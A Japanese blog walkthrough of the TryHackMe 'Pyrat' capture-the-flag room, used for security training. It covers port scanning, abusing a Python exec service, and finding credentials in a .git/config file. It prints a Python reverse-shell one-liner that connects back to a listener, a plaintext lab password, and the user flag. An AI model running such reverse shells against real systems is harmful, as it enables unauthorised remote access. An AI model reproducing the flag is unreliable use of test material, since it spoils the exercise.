💪

TryHackMe Pyrat Challenge

に公開

TryHackMeのPyrat Roomのチャレンジ。自分で独力で実施できたところまでを記事にします。

https://tryhackme.com/room/pyrat

Description

Pyrat
Pyrat receives a curious response from an HTTP server, which leads to a potential Python code execution vulnerability. With a cleverly crafted payload, it is possible to gain a shell on the machine. Delving into the directories, the author uncovers a well-known folder that provides a user with access to credentials. A subsequent exploration yields valuable insights into the application's older version. Exploring possible endpoints using a custom script, the user can discover a special endpoint and ingeniously expand their exploration by fuzzing passwords. The script unveils a password, ultimately granting access to the root.

Tasks

  1. What is the user flag?
  2. What is the root flag?

攻略ログ

/etc/hostsにpyrat.thmを登録する。

ポートスキャン

# nmap -sC -sV -p- -A pyrat.thm
Starting Nmap 7.80 ( https://nmap.org ) at 2025-09-07 04:08 BST
mass_dns: warning: Unable to open /etc/resolv.conf. Try using --system-dns or specify valid servers with --dns-servers
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for pyrat.thm (10.201.104.109)
Host is up (0.00035s latency).
Not shown: 65533 closed ports
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
8000/tcp open  http-alt SimpleHTTP/0.6 Python/3.11.2
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, JavaRMI, LANDesk-RC, NotesRPC, Socks4, X11Probe, afp, giop: 
|     source code string cannot contain null bytes
|   FourOhFourRequest, LPDString, SIPOptions: 
|     invalid syntax (<string>, line 1)
|   GetRequest: 
|     name 'GET' is not defined
|   HTTPOptions, RTSPRequest: 
|     name 'OPTIONS' is not defined
|   Help: 
|_    name 'HELP' is not defined
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: SimpleHTTP/0.6 Python/3.11.2
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8000-TCP:V=7.80%I=7%D=9/7%Time=68BCF725%P=x86_64-pc-linux-gnu%r(Gen
SF:ericLines,1,"\n")%r(GetRequest,1A,"name\x20'GET'\x20is\x20not\x20define
SF:d\n")%r(X11Probe,2D,"source\x20code\x20string\x20cannot\x20contain\x20n
SF:ull\x20bytes\n")%r(FourOhFourRequest,22,"invalid\x20syntax\x20\(<string
SF:>,\x20line\x201\)\n")%r(Socks4,2D,"source\x20code\x20string\x20cannot\x
SF:20contain\x20null\x20bytes\n")%r(HTTPOptions,1E,"name\x20'OPTIONS'\x20i
SF:s\x20not\x20defined\n")%r(RTSPRequest,1E,"name\x20'OPTIONS'\x20is\x20no
SF:t\x20defined\n")%r(DNSVersionBindReqTCP,2D,"source\x20code\x20string\x2
SF:0cannot\x20contain\x20null\x20bytes\n")%r(DNSStatusRequestTCP,2D,"sourc
SF:e\x20code\x20string\x20cannot\x20contain\x20null\x20bytes\n")%r(Help,1B
SF:,"name\x20'HELP'\x20is\x20not\x20defined\n")%r(LPDString,22,"invalid\x2
SF:0syntax\x20\(<string>,\x20line\x201\)\n")%r(SIPOptions,22,"invalid\x20s
SF:yntax\x20\(<string>,\x20line\x201\)\n")%r(LANDesk-RC,2D,"source\x20code
SF:\x20string\x20cannot\x20contain\x20null\x20bytes\n")%r(NotesRPC,2D,"sou
SF:rce\x20code\x20string\x20cannot\x20contain\x20null\x20bytes\n")%r(JavaR
SF:MI,2D,"source\x20code\x20string\x20cannot\x20contain\x20null\x20bytes\n
SF:")%r(afp,2D,"source\x20code\x20string\x20cannot\x20contain\x20null\x20b
SF:ytes\n")%r(giop,2D,"source\x20code\x20string\x20cannot\x20contain\x20nu
SF:ll\x20bytes\n");
MAC Address: 16:FF:F8:78:71:F7 (Unknown)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.80%E=4%D=9/7%OT=22%CT=1%CU=39526%PV=Y%DS=1%DC=D%G=Y%M=16FFF8%TM
OS:=68BCF7D6%P=x86_64-pc-linux-gnu)SEQ(SP=108%GCD=1%ISR=10B%TI=Z%CI=Z%II=I%
OS:TS=A)OPS(O1=M2301ST11NW7%O2=M2301ST11NW7%O3=M2301NNT11NW7%O4=M2301ST11NW
OS:7%O5=M2301ST11NW7%O6=M2301ST11)WIN(W1=F4B3%W2=F4B3%W3=F4B3%W4=F4B3%W5=F4
OS:B3%W6=F4B3)ECN(R=Y%DF=Y%T=40%W=F507%O=M2301NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=
OS:40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%
OS:O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=4
OS:0%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%
OS:Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=
OS:Y%DFI=N%T=40%CD=S)

Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.35 ms pyrat.thm (10.201.104.109)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 192.05 seconds

8000番ポートで動作しているようなのでブラウザでアクセスする(nmapでGETが対応していないのがすでにわかっているが)
ブラウザでpyrat.thm:8000にアクセスすると以下の表示が出る

alt text

ncで接続できないか確認してみる

# nc pyrat.thm 8000
ls
name 'ls' is not defined
print("Hello")
Hello

接続できて、Pythonをそのまま実行するような形になっていそうだということがわかる。

初期侵入

https://www.revshells.com/ を利用してPythonのリバースシェルを実行させてみる

まずローカルのポートで待ち受ける

# nc -nlvp 1234
# nc pyrat.thm 8000
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("x.x.x.x",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")

上記を実行することでリバースシェルが貼れた

# nc -nlvp 1234
Listening on 0.0.0.0 1234
$ whoami
whoami
www-data
$ id 
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

他のユーザの把握のために/homeを確認する

$ cd /home
cd /home
$ ls
ls
think  ubuntu

探索していると/opt/devに.gitファイルがあることを確認した

$ cd /opt/dev
$ ls -la
ls -la
total 12
drwxrwxr-x 3 think think 4096 Jun 21  2023 .
drwxr-xr-x 3 root  root  4096 Jun 21  2023 ..
drwxrwxr-x 8 think think 4096 Jun 21  2023 .git

.git/configを確認したところ、thinkユーザのパスワードと思わしきものが見つかる

$ cat .git/config
cat .git/config
[core]
	repositoryformatversion = 0
	filemode = true
	bare = false
	logallrefupdates = true
[user]
    	name = Jose Mario
    	email = josemlwdf@github.com

[credential]
    	helper = cache --timeout=3600

[credential "https://github.com"]
    	username = think
    	password = _TH1NKINGPirate$_

sshでthinkユーザで入れないかを確認すると無事入ることができた。

# ssh think@pyrat.thm
...
think@ip-10-201-104-109:~$ whoami
think
think@ip-10-201-104-109:~$ id
uid=1000(think) gid=1000(think) groups=1000(think)
think@ip-10-201-104-109:~$ pwd
/home/think
think@ip-10-201-104-109:~$ ls
snap  user.txt
think@ip-10-201-104-109:~$ cat user.txt
996bdb1f619a68361417cabca5454705

  1. Answer: 996bdb1f619a68361417cabca5454705

権限昇格

thinkユーザでsudoで実行できるものがないかを確認。

$ sudo -l
[sudo] password for think: 
Sorry, user think may not run sudo on ip-10-201-104-109.

情報は得られなかった。

/opt/devのgit情報から何かしらのソースコードの情報が得られないかを試す

think@ip-10-201-104-109:/opt/dev$ git log
commit 0a3c36d66369fd4b07ddca72e5379461a63470bf (HEAD -> master)
Author: Jose Mario <josemlwdf@github.com>
Date:   Wed Jun 21 09:32:14 2023 +0000

    Added shell endpoint

コミットログがあるので確認をしてみる

think@ip-10-201-104-109:/opt/dev$ git show 0a3c36d66369fd4b07ddca72e5379461a63470bf
commit 0a3c36d66369fd4b07ddca72e5379461a63470bf (HEAD -> master)
Author: Jose Mario <josemlwdf@github.com>
Date:   Wed Jun 21 09:32:14 2023 +0000

    Added shell endpoint

diff --git a/pyrat.py.old b/pyrat.py.old
new file mode 100644
index 0000000..ce425cf
--- /dev/null
+++ b/pyrat.py.old
@@ -0,0 +1,27 @@
+...............................................
+
+def switch_case(client_socket, data):
+    if data == 'some_endpoint':
+        get_this_enpoint(client_socket)
+    else:
+        # Check socket is admin and downgrade if is not aprooved
+        uid = os.getuid()
+        if (uid == 0):
+            change_uid()
+
+        if data == 'shell':
+            shell(client_socket)
+        else:
+            exec_python(client_socket, data)
+
+def shell(client_socket):
+    try:
+        import pty
+        os.dup2(client_socket.fileno(), 0)
+        os.dup2(client_socket.fileno(), 1)
+        os.dup2(client_socket.fileno(), 2)
+        pty.spawn("/bin/sh")
+    except Exception as e:
+        send_data(client_socket, e
+
+...............................................

中身を見る限り、最初のuser idがバイパスすればrootとして入れるように見える。

いくつか試してみたが、このあとよくわからなくなってしまいギブアップしてしまい他の人のWalkthroughを確認。見たところ、fuzzingを行うことで以下のように実施ができる模様

# nc pyrat.thm 8000
admin
Password:

ここからpythonでスクリプトを書いてbruteforceを実施するという流れでrootのシェルを取得するらしい。

Discussion